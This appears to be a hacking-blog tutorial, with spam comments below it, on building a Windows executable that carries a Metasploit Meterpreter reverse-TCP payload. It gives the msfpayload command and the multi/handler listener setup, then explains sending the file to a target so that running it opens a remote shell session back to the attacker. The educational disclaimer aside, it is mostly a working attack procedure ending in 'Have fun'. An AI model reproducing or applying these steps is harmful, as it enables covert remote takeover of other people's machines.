How To: Generate a payloaded executable using Metasploit and hacking windows

1. The articles contained on the website are for educational purposes only encouraging users and Admins to better understand the environmental security measurement and enable safer digital environment. does not encourage, condone, or orchestrate attempts of hacking into other servers or any other illegal activities. All actions taken by users are strictly independent of We are not responsible for any misuse of the techniques listed on this website.
2. has the sole discretion to remove/edit users, articles, external resources, or any other user-submitted content to protect itself from legal harm. This legal disclaimer may be modified at any time without notice.
3. Any damage caused by using any of the techniques taken from is at your own risk and responsibility;

Following my last article, I’d like to show you how to generate a payloaded executable using Metasploit in order to remotely hack a windows machine.

System Requirements:

  1. Linux machine.
  2. Metaspolit Framework installed.


First, let’s generate our payloaded executable like so:

# msfpayload windows/meterpreter/reverse_tcp LHOST= X > test.exe
hacking Windows –

hacking Windows –

Next, Let’s run:

# msfconsole

And start the Listener:

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > exploit
hacking Windows –

hacking Windows –

The next step would be to send the newly generated payloaded executable file to the target Windows machine and run it there (while the listener is waiting).

Once the target machine runs the file, the target machine will open a tcp/ip session to the IP we specified during the generation of the payload file:

hacking Windows –

hacking Windows –

From here you can do pretty much everything on the target machine.

hacking Windows –

hacking Windows –

Here are some examples of what can be done with this powerful tool:

hacking Windows –

hacking Windows –

Have fun and feel free to leave comments!




  1. authentic atlanta braves jerseys on January 10, 2014 at 10:02 am

    authentic atlanta braves jerseys

    Yes, I like it.

  2. sparkle uggs on January 13, 2014 at 8:01 am

    always i used to read smaller content Hacking windows remotely with an exploited executable file that as well clear their motive, and that is also happening with this piece of writing which I am reading at this place.

  3. jbzscmngbvsbbfbghv on February 6, 2014 at 2:20 pm


    very couple of internet websites that transpire to be comprehensive beneath, from our point of view are undoubtedly effectively worth checking out

Leave a Comment

You must be logged in to post a comment.